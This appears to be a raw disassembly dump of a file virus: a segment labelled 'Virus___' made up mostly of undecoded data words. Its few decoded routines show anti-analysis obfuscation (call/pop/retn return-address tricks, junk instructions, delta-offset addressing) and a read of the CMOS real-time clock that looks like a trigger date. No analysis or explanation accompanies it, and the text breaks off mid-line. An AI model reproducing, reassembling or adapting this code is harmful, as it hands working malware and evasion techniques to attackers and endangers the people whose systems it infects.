71B4F89h, 8B60DE8Ah dd 1B059DB5h, 1DB58B07h, 61071B21h, 6AE1FFh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1D0424h, 50400000h, 3F815DC3h dd 327D2095h, 60377BAAh, 0A9C28166h, 0BD8361D8h, 71B18CDh dd 0E9840F00h, 0F000004h, 68Ch, 29952900h, 83071B2Fh, 1B18CDBDh dd 840F0107h, 4EBh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 16h, 5C35747h, 16056B8h, 1B0E059Dh, 0F1BD8B07h dd 61071B34h, 6880Fh, 0B5010000h, 71B0131h, 18CDBD83h dd 0F03071Bh, 47086h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1904h, 0C3554500h, 0F4F37004h, 8B60C9EDh dd 1B28599Dh, 0F9606107h, 6AD98C66h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0C001C353h dd 802105F7h, 12E904E1h, 0CD000000h, 0AF92EF8Ch, 0D7A9D423h dd 54B357B0h, 81AD442Fh, 0FC90AEFh, 0F984h, 79858900h dd 8B071B09h, 1B30E585h, 0FBBF0F07h, 2F18589h, 8533071Bh dd 71B3055h, 1EAD8D89h, 6650071Bh, 489DF8Bh, 39BD8B24h dd 8B071B19h, 0F006AF8h, 68Dh, 559D8B00h, 0E8071B17h, 4 dd 1F03FFh, 0CE9h, 5A09BF00h, 483B1DCEh, 458C03D3h, 52505070h dd 6810Fh, 850F0000h, 0 dd 8A51310Fh, 585A5BF8h, 424448Bh, 8BC8B7h, 89D98B66h dd 0E9042444h, 0Ch, 0DCC150CEh, 9D22F8C0h, 8CDA3EB8h, 81665758h dd 5FC1F5CBh, 4E995FFh, 6E9071Bh, 9D000000h, 500FF465h dd 0C88589D8h, 6A071EABh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 16042444h, 45000000h, 1A15C355h, 0CE8EBh dd 0AB20000h, 11446338h, 711DDC6Ch, 896087C0h, 1B0D858Dh dd 13BB6607h, 295F611Dh, 1B0115BDh, 23FE907h, 0BF660000h dd 858BE77Fh, 71EABC0h, 0C1B509h, 0C7071Bh, 18h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 19C35040h, 9D0BF5A7h dd 71B0B61h, 0ABC4B58Bh, 9D8B071Eh, 71B2C29h, 2C999D8Bh dd 858B071Bh, 71B0149h, 6660FE8Bh, 0E8A1F4B8h, 0Ah, 588B3BD6h dd 44374F89h, 0BD017CF5h, 71B2401h, 6896159h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 73C35646h, 8B2CF14Fh dd 1B30E585h, 57006A07h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1A04h, 0C3574700h, 534D8508h, 0E80D72E1h, 7, 89967BEBh dd 8BC3C0CDh, 1B2CE59Dh, 46895B07h, 53006A04h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 0F3D4DDB7h dd 50DA8B96h, 57006A96h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1404h, 0C3574700h, 48F0F2Dh, 66000000h, 0FDC58BFh, 8Dh dd 0C0B5FF00h, 0F071EABh, 4E8D8B7h, 0FF000000h, 50001F03h dd 0BBB86052h, 6607FA0Eh, 61CBF3BFh, 0E860310Fh, 9, 2D028DD2h dd 82E6038Dh, 5F505E26h, 50585A61h, 448BFA8Ah, 9E90424h dd 4E000000h, 3BF6B0D0h, 5668EC6Bh, 0DE9008Bh, 0FB000000h dd 3CC90FE3h, 0A03518Ah, 0F0ECB36Fh, 4244489h, 6E9h, 0F2D5EE00h dd 58F79888h, 2BAD8D31h, 858D071Bh, 71EABC8h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 14h, 10C35040h, 7E990h dd 0E78A0000h, 0B24655B5h, 14E850F3h, 58000000h, 0C8CD013Dh dd 55B9FCD4h, 0F7AA0652h, 9E39266Fh, 6656168Ch, 5B838DBBh dd 56006A90h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h dd 0C3564600h, 0BA29C033h, 0A7086049h, 0BD8B27BAh, 71B2B55h dd 4E995FFh, 6A071Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1A0424h, 57470000h, 306304C3h, 3D341D71h, 0BF8BF0Fh dd 1B2FB1BDh, 6A6107h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 0EB6698C3h, 0CB8166FFh, 85C77AABh dd 71B18CDh, 3, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ch, 4DC35242h, 0F3BB9F64h, 0C14BCA51h, 10E9h, 914BFA00h dd 1C009AFBh, 0E2FF921Fh, 191C3AE0h, 0C8BD8377h, 71EABh dd 57840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 390CE9C3h, 4FE9h, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 0E8540A26h, 0Ah, 35E90BA1h, 1D61C655h, 0F3819724h, 71C056BFh dd 0C30505Bh, 11440011h, 10E8C101h, 2114430h, 3114C00h dd 4E98358h, 36EBE775h, 11043050h, 1116400h, 3010E8C1h dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h dd 0C08B00EBh, 1BB5BD8Bh, 6A071Bh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 8166C7C3h, 83949ED3h dd 1B18CDBDh, 850F0307h, 3A0h, 83DA8B66h, 1EABC8BDh, 840F0007h dd 390h, 6BDB8166h, 0C8B5FF88h, 6A071EABh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 0B430C355h dd 5305D971h, 0E84DDA79h, 13h, 0CFF130E3h, 12217CDDh, 5D4C5492h dd 0DE46E9DAh, 29F72CDAh, 1B09ADBDh, 95FF5B07h, 71B09A5h dd 0ABBCB58Bh, 6A071Eh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 160424h, 51410000h, 0BC9704C3h, 106C7h, 870F0001h, 6 dd 2E3DDB81h, 50963903h, 57525052h, 66310F5Bh, 5A08BCBBh dd 0B7310F58h, 50585A6Eh, 55006A96h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 0ADAE3E24h dd 0B70316D3h, 0C8B5FF1Ch, 6A071EABh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 2DB3C356h dd 0E1931E14h, 0FF2D6632h, 1B356195h, 0DA8B6607h, 0ABBCB58Bh dd 8F0F071Eh, 6, 1AB59D8Bh, 858B071Bh, 71B0411h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0C0C35343h, 8B05927Dh dd 1B35E19Dh, 0C4868907h, 56000000h, 26FDBD89h, 895B071Bh dd 1B0AAD8Dh, 0B5958B07h, 6A071B29h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 6211C353h dd 0E304F663h, 70BF5666h, 5B4E74F0h, 6860F60h, 0F000000h dd 8Eh, 61D08B00h, 0E804C283h, 0Ch, 88BB0665h, 5F7E8F4Bh dd 0BF98C03Ch, 3800Fh, 8B660000h, 50895FF8h, 8B50F820h dd 858D5BDFh, 71EBFF9h, 0A4DBD89h, 8689071Bh, 0B8h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0C4C35545h, 0F2CB8CBh dd 688h, 15BD3300h, 6A071B35h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 8DA9FAE1h dd 0B5FFFAC7h, 71EABC8h, 9DD95FFh, 890F071Bh, 0 ; --------------------------------------------------------------------------- push eax mov ebx, 143C733h mov [esp], esi push 0 push eax call sub_586928 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_586928 proc near ; CODE XREF: Virus___:00586920p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 19h inc eax push eax retn sub_586928 endp ; --------------------------------------------------------------------------- dd 6B2E95F5h, 7E9AFB1h, 4A000000h, 65ED1820h, 0B5FF5DC4h dd 71EABC8h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ch, 5C35242h, 8C175B06h, 0C72C8AD9h, 2DD9D8Bh, 95FF071Bh dd 71B0341h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 19h, 6BC35747h, 81DEEF68h, 0FE93Ah, 29460000h, 25CFC9B0h dd 0AD2E7F45h, 0C42C4153h, 31BD837Ah, 71B24h, 0D840Fh dd 0BD8B0000h, 71B2BC9h, 0DE8B6650h, 0FF243489h, 1EABC8B5h dd 13E907h, 0C9120000h, 590FF359h, 0A508BE89h, 388B5B1Ah dd 6DB872BAh, 0A595FF54h, 8B071B18h, 1B12C1BDh, 0C8B5FF07h dd 6A071EABh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 9EE1C350h, 293D95FFh, 8B66071Bh dd 0F1BD83FEh, 2071B28h, 42840Fh, 8A0F0000h, 9, 3880Fh dd 0BF0F0000h, 7D858BD8h, 6A071B00h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 8C53C351h dd 0C6B5h, 0D61B501h, 0BD03071Bh, 71B2991h, 99185C7h, 71Bh dd 0BD8B0000h, 71B2ED5h, 0FFF378E9h, 56006AFFh, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 0D8A8DDE3h dd 6E9A9AFh, 0A3000000h, 0EB00DF54h, 999D2B41h, 8B071B34h dd 55858DC1h, 60071B12h, 27919523h, 12E8071Bh, 8F000000h dd 0DB81E1E0h, 0D0127FD9h, 283044D4h, 0EF2559C3h, 0D68DB995h dd 615E7785h, 9ABF6656h, 66905F48h, 50E7D3BBh, 0D88B6660h dd 9061F08Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 19h, 4EC35747h, 12D43639h, 0FBBF0FE7h, 0BD23006Ah, 71B139Dh dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h dd 53430000h, 0FC2DCBC3h, 0EA309640h, 0CE9E8h, 7C610000h dd 9746045h, 0E3C21471h, 0DF81C3C4h, 2407CE98h, 0BB49858Dh dd 8B66071Fh, 5C083FBh, 5050F98Bh, 8B310F52h, 89585ADEh dd 6A2404h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h dd 50400000h, 0BA78CAC3h, 12820Fh, 0DE90000h, 0B2000000h dd 94FFF415h, 63A8272h, 0DE17EDC2h, 6A006Ah, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 170424h, 52420000h, 79F764C3h dd 9F38136h, 6A10C3D3h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1904h, 0C3564600h, 401CB31Fh, 0DE84576h dd 0FB000000h, 831238B3h, 0B95B6032h, 571E30AAh, 1FEDBD89h dd 0FF5F071Bh, 1B1EA995h, 0DABF0F07h, 979C8D8Dh, 8F0F071Eh dd 6, 0E51BD8Bh, 0BD8B071Bh, 71B25C9h, 8166D1FFh, 837284F7h dd 1B2105BDh, 850F0107h, 67h, 24859589h, 26A071Bh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0E3C35242h, 0FE85050h dd 79000000h, 0C38D6D53h, 293EF9ACh, 9993F6D8h, 616016AEh dd 4895B5Fh, 9FBF6624h, 0DD95FF81h, 66071B09h, 0BAB5DB81h dd 12E9h, 0F03C6F00h, 0D425C6Dh, 3FEB2641h, 1A8AF75Fh dd 0E9400AEAh, 0DB7h, 0E8h, 0ED815D00h, 71FBB53h, 8589D88Ah dd 71B20F5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 16h, 30C35343h, 9D33D0A0h, 71B2575h, 9202858Dh, 6A071Eh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 69B089C3h, 13018B62h, 5066FADCh, 0EE8h, 0B60AB800h dd 200ACAB6h, 0A124B7D8h, 50C5EBF4h, 0CE852h, 81FF0000h dd 5CDC1D49h, 86F23323h, 0F5BC678h, 5A6CB331h, 4895F58h dd 52006A24h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 35FF6417h, 0 ; --------------------------------------------------------------------------- push 0 push ebp call sub_586D7B and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_586D7B proc near ; CODE XREF: Virus___:00586D73p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Bh inc ebp push ebp retn sub_586D7B endp ; --------------------------------------------------------------------------- db 0A2h dd 4113F429h, 0E9ECFEECh, 9, 0CE1C81E8h, 419A224Fh, 258964B5h dd 0 ; --------------------------------------------------------------------------- jg loc_586DB4 mov edi, [ebp+71B2425h] loc_586DB4: ; CODE XREF: Virus___:00586DA8j inc dword ptr [ebp+71B264Dh] mov ebx, [ebp+71B12D1h] loc_586DC0: ; CODE XREF: Virus___:00587A15j push 0FFFFFFFFh push 0 push esi call sub_586DCD and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_586DCD proc near ; CODE XREF: Virus___:00586DC5p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Dh inc esi push esi retn sub_586DCD endp ; --------------------------------------------------------------------------- or eax, 522869C6h sti lea edx, [ecx-4A00265Bh] xor [ebx+ebx], edx pop es push 0 push ebp call sub_586DF8 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_586DF8 proc near ; CODE XREF: Virus___:00586DF0p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 16h inc ebp push ebp retn sub_586DF8 endp ; --------------------------------------------------------------------------- jno short near ptr loc_586E43+4 pusha jl loc_586E19 push eax xor [ebp+71B2B65h], edx pop ebx loc_586E19: ; CODE XREF: Virus___:00586E0Bj call dword ptr [ebp+71B2F45h] jmp loc_586F18 ; --------------------------------------------------------------------------- jmp loc_586E2F ; --------------------------------------------------------------------------- db 52h, 2Ah, 4Ch db 0DBh, 0BAh, 33h ; --------------------------------------------------------------------------- loc_586E2F: ; CODE XREF: Virus___:00586E24j mov al, 0 xor [ebp+71B2E81h], eax out 70h, al ; CMOS Memory: ; used by real-time clock mov ebx, 0B6C8840h in al, 71h ; CMOS Memory cmc cmp al, 61h loc_586E43: ; CODE XREF: Virus___:00586E08j jnb loc_586F18 mov [ebp+71B240Dh], ebx movzx ecx, al adc bx, 0D117h and edi, [ebp+71B2FB5h] mov edx, 6 push ebx mov edi, [ebp+71B3335h] pop ebx mov eax, ecx stc shr eax, 4 mov ebx, [ebp+71B1761h] mul dx movzx edi, cx sub ecx, eax mov di, 809Eh mov edx, ecx sub ebx, [ebp+71B2B91h] jmp loc_586F18 ; --------------------------------------------------------------------------- mov ebx, edi mov eax, [ebp+1] and edi, [ebp+71B304Dh] push esi xor ebx, [ebp+71B0889h] pop ebx add eax, 7 mov di, ax add eax, 0 mov ebx, 1697AC34h cmp edx, eax jnb loc_586ECB and bx, 3DA5h jmp loc_586F18 ; --------------------------------------------------------------------------- mov [ebp+71B2CD9h], edi loc_586ECB: ; CODE XREF: Virus___:00586EB5j mov ecx, [ebp-1] jmp loc_586EE2 ; --------------------------------------------------------------------------- dw 0F729h dd 6EDDE124h, 5301CB7Bh db 0F5h, 31h ; --------------------------------------------------------------------------- loc_586EE2: ; CODE XREF: Virus___:00586ED1j and ecx, 1 jz loc_586F18 or [ebp+71B26BDh], esi and dword ptr [ebp-1], 0FFFFFFFEh mov edi, [ebp+71B3029h] mov [ebp+1], edx pusha or edi, [ebp+71B1C3Dh] cmc popa and ebx, 24B69AE6h jmp $+5 loc_586F18: ; CODE XREF: Virus___:00586E1Fj ; Virus___:loc_586E43j ... lea esi, [ebp+71F39C9h] jmp loc_586F28 ; --------------------------------------------------------------------------- mov esp, 0E1EB6062h loc_586F28: ; CODE XREF: Virus___:00586F1Ej push 0 mov edi, [ebp+71B32C5h] call dword ptr [ebp+71B1289h] add edi, [ebp+71B0C01h] mov ecx, 10A9h push 0 push ecx call sub_586F4C and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_586F4C proc near ; CODE XREF: Virus___:00586F44p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 19h inc ecx push ecx retn sub_586F4C endp ; --------------------------------------------------------------------------- cmp dh, bl xchg eax, esp retn ; --------------------------------------------------------------------------- dd 83F90BE5h, 6060FCE1h, 2D1B529h, 8D89071Bh, 71B092Dh dd 79B96661h, 8BFC619Ah, 6AC02BF9h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 2558C352h dd 0D22B76B8h, 267D9D31h, 33AD071Bh, 3E8D1C2h, 4E983D0h dd 0BD2BF475h, 71B0A85h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Dh, 0DAC35242h, 0B77DEF1Dh, 6A0AB4B3h, 880DCBh dd 89520000h, 1B2B0995h, 958B5F07h, 71B29B5h, 1BA59D8Bh dd 8D8B071Bh, 71B02F5h, 11E9B589h, 8B50071Bh, 3188BC2h dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 6AF88B66h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 0E1D3C355h, 2EE53CF2h, 4D95893Bh, 83071B01h, 1B2165BDh dd 840F0007h, 87h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 17h, 9AC35343h, 2B13ECE4h, 1B13319Dh, 6D9D8907h dd 8B071B00h, 1B0C15BDh, 0B807h, 0E9600000h, 0Ch, 0FAA2864Ch dd 0FCA3C9ECh, 0ABEDAE7Eh, 0D9BD0161h, 8D071B31h, 1B4F898Dh dd 57006A07h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h dd 0C3574700h, 0AEA27274h, 8F0FB9A9h, 4, 7C9CBF66h, 0E1FF46B7h dd 837DE780h, 1B18CDBDh, 840F0007h, 49Dh, 13E9h, 0E300A700h dd 5433302h, 7C795DE5h, 0E39DEFBDh, 7B858609h, 18CDBD83h dd 0F01071Bh, 49384h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1D04h, 0C3574700h, 56B3996Eh, 0B29CE40Ah dd 0BD837401h, 71B18CDh, 2B860F03h, 6A000004h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h dd 0BF5DC352h, 1FD08F59h, 57006A60h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 0AF6B1A0h dd 0AD213184h, 6AD98C66h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1C042444h, 43000000h, 12BBC353h, 656FCC54h dd 89EE074Eh, 1B004195h, 4E18007h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 16h, 0F5C35040h, 0BF0F1E12h, 0FC90AFAh dd 13F84h, 0FD9D8900h, 8B071B24h, 1B30E585h, 57006A07h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 7662828Ah, 0FED33537h, 5060E589h, 1F519D89h, 0E859071Bh dd 6, 1AC393E0h, 0BD03AF09h, 71B1719h, 8533615Eh, 71B3055h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0FCC35242h dd 4E152CA0h, 0F574B3F7h, 8A19D8Bh, 6690071Bh, 5050F88Bh dd 8BB3BF52h, 310F318Fh, 5AF98B66h, 8E0F9058h, 6, 0DA5BD29h dd 6A071Bh, 8F19D8Bh, 4868071Bh, 560072BBh, 2434815Bh dd 6DB8B7h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ch, 58C35242h, 0AE93DD04h, 0AF5E73A8h, 95FFFD8Ah, 71B04E9h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0BFC35646h dd 4CEF26CDh, 0E5BD036Eh, 89071B08h, 1EABC885h, 18D0F07h dd 0F9000000h, 1D9E9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1904h, 0C3524200h, 93B2A6D8h, 0B589DC95h dd 71B05B9h, 0ABC0858Bh, 8509071Eh, 71B21E1h, 1800C7h dd 8D290000h, 71B2D51h, 1839BD8Bh, 0B58B071Bh, 71EABC4h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0C7C35141h dd 0D13607Ah, 0F94C0E8h, 858BFEBFh, 71B0149h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 4DC35040h, 8589BC56h dd 71B0E41h, 0BD890689h, 71B0451h, 14E9h, 76292400h, 6AC2C5ECh dd 227A79B3h, 45C40D17h, 0DA5571F8h, 0E5858B71h, 6A071B30h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 8BB8C351h, 1B04899Dh, 4468907h, 50F88B96h dd 38F0Fh, 8B660000h, 8D8996FEh, 71B2725h, 27E99531h, 0B5FF071Bh dd 71EABC0h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Dh, 0C35343h, 78B83723h, 0B7DF6138h, 4E825h, 3FF0000h dd 0BB66001Fh, 0BF503B1Fh, 0BD6209Ah, 424448Bh, 4489008Bh dd 8B660424h, 6A58F9h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 150424h, 52420000h, 8D81C6C3h, 1EABC885h, 4DBD8B07h dd 90071B0Dh, 14E850h, 0D440000h, 0CF0C5783h, 0B3E738CEh dd 88E67E4h, 0B020B215h, 0BB661AA6h, 905FD9D3h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0FDC35646h, 0C8C66AC7h dd 38C0F07h, 66000000h, 0B589DE8Bh, 71B2731h, 4E995FFh dd 890F071Bh, 6, 23CD8589h, 8961071Bh, 1B23299Dh, 0CD85C707h dd 3071B18h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 1D82C351h, 0ABC8BD83h dd 0F00071Eh, 6184h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1D04h, 0C3534300h, 250A7167h, 88A77652h dd 0AE98737h, 19000000h, 480A62CEh, 537775E8h, 0D98A5393h dd 0DF81535Fh, 72046878h, 37E95Bh, 0F600000h, 0E89h, 9E900h dd 0EAC50000h, 0AAB53AABh, 19DBE44h, 1B202D85h, 30506107h dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h, 0E9835803h dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h dd 2114430h, 11642858h, 11043001h, 7504E983h, 8B00EBE7h dd 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h dd 0C3554500h, 1DFD5BD4h, 0B5892168h, 71B2A05h, 5C1CBF66h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 7EC35646h dd 0BEA18EFEh, 68B0Fh, 0BD8B0000h, 71B2BEDh, 65952951h dd 5F071B1Fh, 18CDBD83h, 0F03071Bh, 3F485h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 8B666094h, 0CE8B66F0h, 0DFBF0F61h, 0ABC8BD83h, 0F00071Eh dd 3C084h, 4DBD8B00h, 0FF071B00h, 1EABC8B5h, 0F95B5007h dd 9A595FFh, 6A071Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 7139A3C3h, 0B0739AA4h, 0BB669393h dd 9D8BE54Bh, 71B02FDh, 0ABBCB58Bh, 6A071Eh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 2C1184C3h dd 0ABD6E574h, 0B5896052h, 71B1FD1h, 6C75B61h, 10001h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 78C35646h dd 0BA6B39CDh, 5BD8BA3h, 50071B2Dh, 7E9h, 95772700h, 0A82B8E28h dd 6A243489h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 14042444h, 42000000h, 0FFD0C352h, 1EABC8B5h, 960ABB07h dd 95FF6613h, 71B3561h, 0E8F88B66h, 0Ah, 61AFC009h, 84FA0AA4h dd 0FE8D4A1h, 28000000h, 2C3CEB2Dh, 254EB3F1h, 573BB21Eh dd 8B669814h, 8B5F5BDFh dd 1EABBCB5h, 8B666007h, 12E9C7h, 0EA080000h, 6208B590h dd 63AF52F4h, 67E99D6Dh, 0CDD67F7Dh, 11858B61h, 0E9071B04h dd 0Dh, 0A6EF2097h, 0C6DC9F6Fh, 0AB06D55Ah, 0C48689B6h dd 8B000000h, 1B29B595h, 52006A07h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1504h, 0C3524200h, 0C28359CBh, 57006A04h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 0C9C9A2AFh, 0F56D1A6h, 684h, 19D0100h, 5B071B03h, 0F205089h dd 858DFFBFh, 71EBFF9h, 0C5CB8166h, 0B8868974h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 8BE8C355h, 6A006AF9h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 44BAC357h dd 0E050A7CEh, 0F9B70F58h, 0ABC8B5FFh, 95FF071Eh, 71B09DDh dd 0BF96FC8Ah, 661567B3h, 6BF6650h, 6A9654h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 0A4109CC3h dd 0D28DA20Bh, 0FFF8311Ch, 1EABC8B5h, 57006A07h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 6E42AF8Bh, 25BD3172h, 8A071B03h, 4195FFFCh, 0F071B03h dd 58Ah, 0CF816600h, 0BD83970Bh, 71B2431h, 0F840F00h, 66000000h dd 50A8C8BFh, 3489D98Ah, 0BF0F5224h, 0B5FF5FF9h, 71EABC8h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 85C35141h dd 0F9C441BBh, 1421BD8Bh, 95FF071Bh, 71B18A5h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 66C35747h, 0ABC8B5FFh dd 6A071Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h dd 56460000h, 8B7BA2C3h, 1B2AD19Dh, 0DF8B6607h, 293D95FFh dd 6A071Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h dd 57470000h, 0F2CEA9C3h, 9DCB8713h, 0B6D39A7h, 1B153D9Dh dd 21BD8907h, 0F071B17h, 0BD83DBBFh, 71B28F1h, 5B840F02h dd 8B000000h, 1B18C59Dh, 7D858B07h, 6A071B00h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 0E07CC351h, 60E714D4h, 3880Fh, 8B660000h, 5800FF8h dd 66000000h, 8278D281h, 0C661h, 11E9h, 15E12C00h, 1FF3E921h dd 0FC83C423h, 0FD7A625Eh, 85C75F26h, 71B0991h, 0 ; --------------------------------------------------------------------------- sub bx, 196Ah jmp loc_586DC0 ; --------------------------------------------------------------------------- push 0 push eax call sub_587A25 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_587A25 proc near ; CODE XREF: Virus___:00587A1Dp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Bh inc eax push eax retn sub_587A25 endp ; --------------------------------------------------------------------------- db 0E5h, 79h, 0B4h dd 82E01A88h, 5D9D8B50h, 8B071B2Ch, 53006AC1h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 0FC1B091h dd 684h, 0B99D2900h, 8D071B21h, 1B125585h, 50006A07h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 0FE02590h, 138Bh, 0EE900h, 79880000h, 9B899C31h, 0A6625279h dd 68728E4h, 98FEBB66h, 6AC4BF90h, 665049B2h, 8190F88Bh dd 0D19567CFh, 0E8006A4Bh, 0Fh, 91BBB555h, 0D9AE64Bh, 89BE9809h dd 33DFC1A5h, 1B22A19Dh, 6A5B07h, 0CAFA858Dh, 8B0F071Fh dd 0Fh, 0AE9h, 0F2057E00h, 0D1CEC658h, 8311A689h, 9D8B05C0h dd 71B137Dh, 14E990h, 930000h, 0EADE561Fh, 0BB74DA96h dd 0C3A37636h, 76B6CA6Ah, 66500D23h, 6A90DF8Bh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 0B2DAC357h, 8A5F9C3Fh, 0B7EA97F2h, 6A006A57h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 0ECACC355h, 61148EBBh, 0BFBB66A3h, 6A006A99h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 149BC351h, 0F4616BCh, 687h, 0B9858900h, 0FF071B12h dd 1B1EA995h, 8E807h, 0E800000h, 4AC6CC9Dh, 5BF56F6Ch dd 0D252F781h, 8D8D095Dh, 